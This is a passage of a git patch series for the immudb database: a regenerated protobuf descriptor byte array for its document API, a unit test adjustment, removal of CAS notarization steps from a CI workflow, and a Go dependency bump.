0x65, 0x49, 0x6e, 0x64, 0x65, + 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x38, 0x92, 0x41, 0x0b, + 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x24, 0x2a, 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, + 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x9f, 0x01, 0x0a, 0x0f, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3f, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x2b, 0x3a, 0x01, 0x2a, 0x22, + 0x26, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xb0, 0x01, 0x0a, 0x10, 0x52, 0x65, 0x70, 0x6c, + 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x25, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x70, 0x6c, + 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4d, 0x92, 0x41, 0x0b, + 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x39, 0x3a, 0x01, 0x2a, 0x1a, 0x34, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x2f, 0x72, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x12, 0xac, 0x01, 0x0a, 0x0f, 0x44, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4c, 0x92, 0x41, 0x0b, + 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x38, 0x3a, 0x01, 0x2a, 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0xda, 0x01, 0x0a, 0x0f, 0x53, 0x65, + 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, + 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x7a, 0x92, 0x41, 0x0b, 0x0a, + 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x66, + 0x3a, 0x01, 0x2a, 0x5a, 0x2c, 0x3a, 0x01, 0x2a, 0x22, 0x27, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, + 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x2f, 0x7b, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, + 0x7d, 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, + 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, + 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0xa8, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x75, 0x6e, 0x74, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, + 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4b, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x37, 0x3a, 0x01, 0x2a, 0x22, 0x32, 0x2f, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, + 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, + 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x63, 0x6f, 0x75, 0x6e, + 0x74, 0x12, 0xab, 0x01, 0x0a, 0x0d, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x51, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x3d, 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2f, - 0x7b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x61, 0x75, 0x64, - 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x12, 0xab, 0x01, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x51, 0x92, 0x41, + 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x3d, 0x3a, 0x01, 0x2a, 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, + 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2f, 0x7b, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, + 0xab, 0x01, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x51, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x3d, 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, - 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2f, 0x7b, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x42, 0xb0, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, - 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, - 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, - 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, - 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, - 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, - 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, - 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x51, 0x92, 0x41, 0x0b, 0x0a, + 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x3d, + 0x3a, 0x01, 0x2a, 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, + 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2f, 0x7b, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x42, 0xb0, 0x01, + 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, + 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, + 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, + 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, + 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, + 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x5a, + 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, + 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, + 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( From b9d2ded005dbf34cdd0e5e876ed7dd98bdc64745 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 29 Sep 2023 12:35:55 +0200 Subject: [PATCH 0822/1062] test(embedded/document): adjust unit test to reproduce issue when removing and adding field Signed-off-by: Jeronimo Irazabal --- embedded/document/engine_test.go | 3 +++ 1 file changed, 3 insertions(+) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index b6d2d53802..ff191fc32e 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -1606,6 +1606,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { t.Run("create index with a new field name should succeed", func(t *testing.T) { _, _, err := engine.InsertDocument( context.Background(), + "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ @@ -1618,6 +1619,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { err = engine.RemoveField( context.Background(), + "admin", collectionName, "title", ) @@ -1656,6 +1658,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { _, _, err = engine.InsertDocument( context.Background(), + "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ From 0cdf8e48c1929e883c465a1a0f679f3b5d460178 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Thu, 5 Oct 2023 10:42:41 +0200 Subject: [PATCH 0823/1062] remove CAS from CI pipelines --- .github/workflows/push.yml | 47 -------------------------------------- 1 file changed, 47 deletions(-) diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 2849bdae1b..2ff8b5b7bc 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -57,10 +57,6 @@ jobs: - uses: actions/checkout@v3 - name: Build binaries run: WEBCONSOLE=default make dist - - name: Notarize git repository - uses: docker://codenotary/cas - with: - args: n git://. --host cas.codenotary.com --api-key ${{ secrets.CAS_API_KEY }} - id: list-binaries run: | echo "matrix=$(ls dist | jq -R -s -c 'split("\n")[:-1] | {binary: .}')" >> $GITHUB_OUTPUT @@ -214,10 +210,6 @@ jobs: with: name: immudb-binaries path: dist - - name: Notarize binaries - uses: docker://codenotary/cas - with: - args: n dist/${{ matrix.binary }} --host cas.codenotary.com --api-key ${{ secrets.CAS_API_KEY }} images: name: Build and notarize Docker Images @@ -299,45 +291,6 @@ jobs: docker logout - - name: Notarize docker image ${{ env.DOCKER_IMAGE_IMMUDB }}:dev - uses: docker://codenotary/cas:bom-docker - with: - args: n docker://${{ env.DOCKER_IMAGE_IMMUDB }}:dev --host cas.codenotary.com --api-key ${{ secrets.CAS_API_KEY }} - - - name: Notarize docker image ${{ env.DOCKER_IMAGE_IMMUDB }}:dev-${{ env.DEBIAN_VERSION }} - uses: docker://codenotary/cas:bom-docker - with: - args: n docker://${{ env.DOCKER_IMAGE_IMMUDB }}:dev-${{ env.DEBIAN_VERSION }} --host cas.codenotary.com --api-key ${{ secrets.CAS_API_KEY }} - - - name: Notarize docker image ${{ env.DOCKER_IMAGE_IMMUDB }}:dev-${{ env.ALMA_VERSION }} - uses: docker://codenotary/cas:bom-docker - with: - args: n docker://${{ env.DOCKER_IMAGE_IMMUDB }}:dev-${{ env.ALMA_VERSION }} --host cas.codenotary.com --api-key ${{ secrets.CAS_API_KEY }} - - - name: Notarize docker image ${{ env.DOCKER_IMAGE_IMMUADMIN }}:dev - uses: docker://codenotary/cas:bom-docker - with: - args: n docker://${{ env.DOCKER_IMAGE_IMMUADMIN }}:dev --host cas.codenotary.com --api-key ${{ secrets.CAS_API_KEY }} - - - name: Notarize docker image ${{ env.DOCKER_IMAGE_IMMUCLIENT }}:dev - uses: docker://codenotary/cas:bom-docker - with: - args: n docker://${{ env.DOCKER_IMAGE_IMMUCLIENT }}:dev --host cas.codenotary.com --api-key ${{ secrets.CAS_API_KEY }} - - - name: Notarize docker image ${{ env.DOCKER_IMAGE_IMMUDB_FIPS }}:dev - uses: docker://codenotary/cas:bom-docker - with: - args: n docker://${{ env.DOCKER_IMAGE_IMMUDB_FIPS }}:dev --host cas.codenotary.com --api-key ${{ secrets.CAS_API_KEY }} - - - name: Notarize docker image ${{ env.DOCKER_IMAGE_IMMUADMIN_FIPS }}:dev - uses: docker://codenotary/cas:bom-docker - with: - args: n docker://${{ env.DOCKER_IMAGE_IMMUADMIN_FIPS }}:dev --host cas.codenotary.com --api-key ${{ secrets.CAS_API_KEY }} - - - name: Notarize docker image ${{ env.DOCKER_IMAGE_IMMUCLIENT_FIPS }}:dev - uses: docker://codenotary/cas:bom-docker - with: - args: n docker://${{ env.DOCKER_IMAGE_IMMUCLIENT_FIPS }}:dev --host cas.codenotary.com --api-key ${{ secrets.CAS_API_KEY }} coveralls: name: Publish coverage From 0895d1e4864195f73d4ad67a385c10b19bc18bed Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 5 Oct 2023 18:20:36 +0000 Subject: [PATCH 0824/1062] chore(deps): bump golang.org/x/crypto from 0.13.0 to 0.14.0 Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.13.0 to 0.14.0. - [Commits](https://github.com/golang/crypto/compare/v0.13.0...v0.14.0) --- updated-dependencies: - dependency-name: golang.org/x/crypto dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 6 +- go.sum | 1439 +++++++++++++++++++++++++++++++++++++++++++++++++++++++- 2 files changed, 1439 insertions(+), 6 deletions(-) diff --git a/go.mod b/go.mod index 53a6385ce0..e8153ae349 100644 --- a/go.mod +++ b/go.mod @@ -34,9 +34,9 @@ require ( github.com/spf13/viper v1.15.0 github.com/stretchr/testify v1.8.2 github.com/takama/daemon v0.12.0 - golang.org/x/crypto v0.13.0 + golang.org/x/crypto v0.14.0 golang.org/x/net v0.15.0 - golang.org/x/sys v0.12.0 + golang.org/x/sys v0.13.0 golang.org/x/tools/cmd/cover v0.1.0-deprecated google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d google.golang.org/grpc v1.57.0 @@ -100,7 +100,7 @@ require ( github.com/spf13/jwalterweatherman v1.1.0 // indirect github.com/subosito/gotenv v1.4.2 // indirect golang.org/x/mod v0.9.0 // indirect - golang.org/x/term v0.12.0 // indirect + golang.org/x/term v0.13.0 // indirect golang.org/x/text v0.13.0 // indirect golang.org/x/tools v0.7.0 // indirect google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5 // indirect diff --git a/go.sum b/go.sum index 1117271de4..37a3ffb985 100644 --- a/go.sum +++ b/go.sum @@ -13,26 +13,747 @@ cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKV cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= +cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI= +cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk= +cloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg= +cloud.google.com/go v0.79.0/go.mod h1:3bzgcEeQlzbuEAYu4mrWhKqWjmpprinYgKJLgKHnbb8= +cloud.google.com/go v0.81.0/go.mod h1:mk/AM35KwGk/Nm2YSeZbxXdrNK3KZOYHmLkOqC2V6E0= +cloud.google.com/go v0.83.0/go.mod h1:Z7MJUsANfY0pYPdw0lbnivPx4/vhy/e2FEkSkF7vAVY= 